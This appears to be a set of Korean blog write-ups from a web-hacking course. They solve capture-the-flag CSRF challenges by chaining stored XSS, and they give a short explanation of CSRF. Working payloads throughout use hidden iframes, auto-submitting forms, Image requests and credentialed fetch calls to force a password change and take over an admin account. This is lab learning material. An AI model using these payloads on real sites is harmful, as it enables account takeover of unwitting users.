1, 2번과 동일한 문제


1. 비밀번호 변경 요청 확인

요청을 확인해보니 csrf token이라는 것이 추가 되었다.

 

2. XSS를 이용한 CSRF 공격

 2-1) iframe이 onload 될 함수정의

 2-2) iframe의 src를 마이페이지로 지정

 2-3) iframe이 모두 로드 되면 비밀번호 input tag에 value를 124로 지정

 2-4) iframe의 업데이트 버튼 클릭하도록 target.contentDocument.getElementById('signup-btnl').click() 추가

<script>
delete window.alert

var errorFunction = function() {
	var target = document.getElementById('myframe')
	delete target.contentWindow.alert 

	console.log(target)
	target.contentDocument.getElementsByName('pw')[0].value = 124
	console.log(target.contentDocument.getElementsByName('pw')[0].value)
	//document.getElementById('token_input').value = token
	target.contentDocument.getElementById('signup-btnl').click()
	this.src=''
}
</script>

<iframe onload='errorFunction()' name="myframe" src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php?user=aksrl26T"  id="myframe"></iframe>

 

3. 비밀번호 변경 확인

 

4. 관리자 봇으로 해당 url 전달

 alert이 발생하여서 실패.....


2. XSS를 이용한 CSRF 공격(다시)

 2-1) iframe에서 클릭하면 alert이 발생 하기 때문에 fetch를 통해 요청(html 랜더링 안해서)

 2-2) iframe에서 form데이터 받아와서 formData 구성

 2-3) 로그인 정보를 session에서 가져오기 때문에 credentioals : 'include'를 사용하여 세션아이디를 포함한 쿠키를 전달.

<script>

var sendForm = function() {

	var target = document.getElementById('myframe')
	target.contentDocument.getElementsByName('pw')[0].value = 111
	var form = target.contentDocument.getElementsByTagName('form')[0]
	var url = 'http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php'
	var formData = new FormData(form)

	for (var pair of formData.entries()) {
		    console.log(pair[0] + ': ' + pair[1]);
		}
	console.log(form)
	console.log(formData)
	
	console.log(target)

	fetch(url, {
    method: "POST",
		credentials: 'include',
    body: formData
  })
  .then(data => {
    // 성공적으로 응답을 받았을 때의 처리
    console.log()
	return data.text()
  })
.then(html => {
	console.log(html)
})
  .catch(error => {
    // 에러 처리
    console.error('Error:', error);
  });
}
</script>

<iframe onload='sendForm()' name="myframe" src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php?user=aksrl26T"  id="myframe"></iframe>

3. 비밀번호 변경 확인

 

4. 관리자 봇에게 접근하도록 요청

 

5. 관리자 계정으로 로그인

1번 문제와 동일하다.

비밀번호 update가 되는 요청을 찾은 뒤 XSS가 발생하는 위치에서 CSRF공격을 진행하면된다.


1. 비밀번호 변경 요청 확인

 

GET 방식으로도 동작하는지 확인

GET 방식은 동작하지 않는다.

2. XSS로 POST방식의 CSRF공격

 2-1) form을 작성하여 method를 post로 지정 

 2-2) script에서 form을 찾아 submit

 

3. 비밀번호 변경 확인(로그아웃 후 재접속으로)

4. 관리자가 XSS, CSRF공격이 있는 게시물을 접속하도록 링크전달.

 

5. 관리자 계정으로 로그인

 

CSRF는 사용자가 특정 요청을 하도록 유도하는 방법이다. 

XSS로 사용자가 접근 했을 때 비밀번호를 변경하는 요청을 보내는 것이 핵심

 


1. 비밀번호 변경 요청 확인

My page 에서 비밀번호 변경을 요청한 결과 아래와 같이 나왔다.

 

POST 방식으로 pw를 넘겨서 비밀번호를 변경한다.

POST는 form을사용하여야 한다. 동일한 요청을 GET으로 변경하여 전송해보자.

 

동일한 URL의 GET 방식

GET 방식으로 비밀번호 변경이 된다.

 

2. XSS에서 해당 요청을 보내도록 수정

 2-1) XSS가 발생되는 게시판에 이미지 태그를 생성

 2-2) 이미지 태그의 src를 회원정보 변경 URL 링크로 입력

 

3. XSS와 CSRF가 있는 게시물을 들어간 뒤 비밀번호 변경확인

 비밀번호 확인 결과 변경된 것을 확인했음.

 

5. 비밀번호 변경 스크립트가 있는 게시물의 URL을 봇으로 넘겨서 aksrl25T_admin의 비밀번호를 124로 변경

 

6. aksrl25T_admin으로 로그인

 

사이트 간 요청 위조(또는 크로스 사이트 요청 위조, : Cross-site request forgery, CSRF, XSRF)는 웹사이트 취약점 공격의 하나로, 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위(수정, 삭제, 등록 등)를 특정 웹사이트에 요청하게 하는 공격을 말한다. -위키백과-

 

즉   사용자가 어떠한 요청을 하도록 유도하는 것을 말하며 XSS와는 다른 취약점이다.

XSS는 데이터의 탈취 및 스크립트를 사용한 CSRF를 유도 할 수 있으며 CSRF는 사용자가 특정 행위를 하도록 유도하는 것이다.

 

간단한 예시로 게시판에서 XSS 취약점이 생긴다면 게시판에 악성 스크립트를 심어두어 접속한 사용자의 비밀번호를 바꾸도록 요청하는 스크립트를 실행하는 것이 있다.

 


1. XSS를 활용한 CSRF

 

GET 방식

<script>
var i = new Image();
i.src= '비밀번호 변경url/?pw=1234' 
</script>

 

POST 방식

<form method="POST" action="passWdUpadte.com" id="myform">
<input type="text" hidden name="pw" value="1234">
</form>

<script>
document.getElementById('myform').submit()
</scropt>

 

POST(페이지 이동 막기)

위의 방식대로 하면 POST 요청으로 페이지가 이동된다. 이를 방지하기위해 iframe을 사용

form의 target을 iframe으로 주고 iframe은 display none으로 화면에 표기하지 않는다.

<iframe width="0" height="0" name='myframe' style="display:none">

<form method="POST" action="passWdUpadte.com" id="myform" target="myframe">
<input type="text" hidden name="pw" value="1234">
</form>

<script>
document.getElementById('myform').submit()
</scropt>

'웹 해킹 코스 > 내용 정리' 카테고리의 다른 글

13주차 Dos 공격 및 CSRF의 대처방법  (0) 2024.02.05
12주차 CSRF  (0) 2024.02.01
11차 HTML의 DOM 접근  (0) 2024.01.15
9주차 XSS(크로스 사이트 스크립트)  (0) 2023.12.21
8주차 SQL Injection 대상 찾기  (1) 2023.12.18

+ Recent posts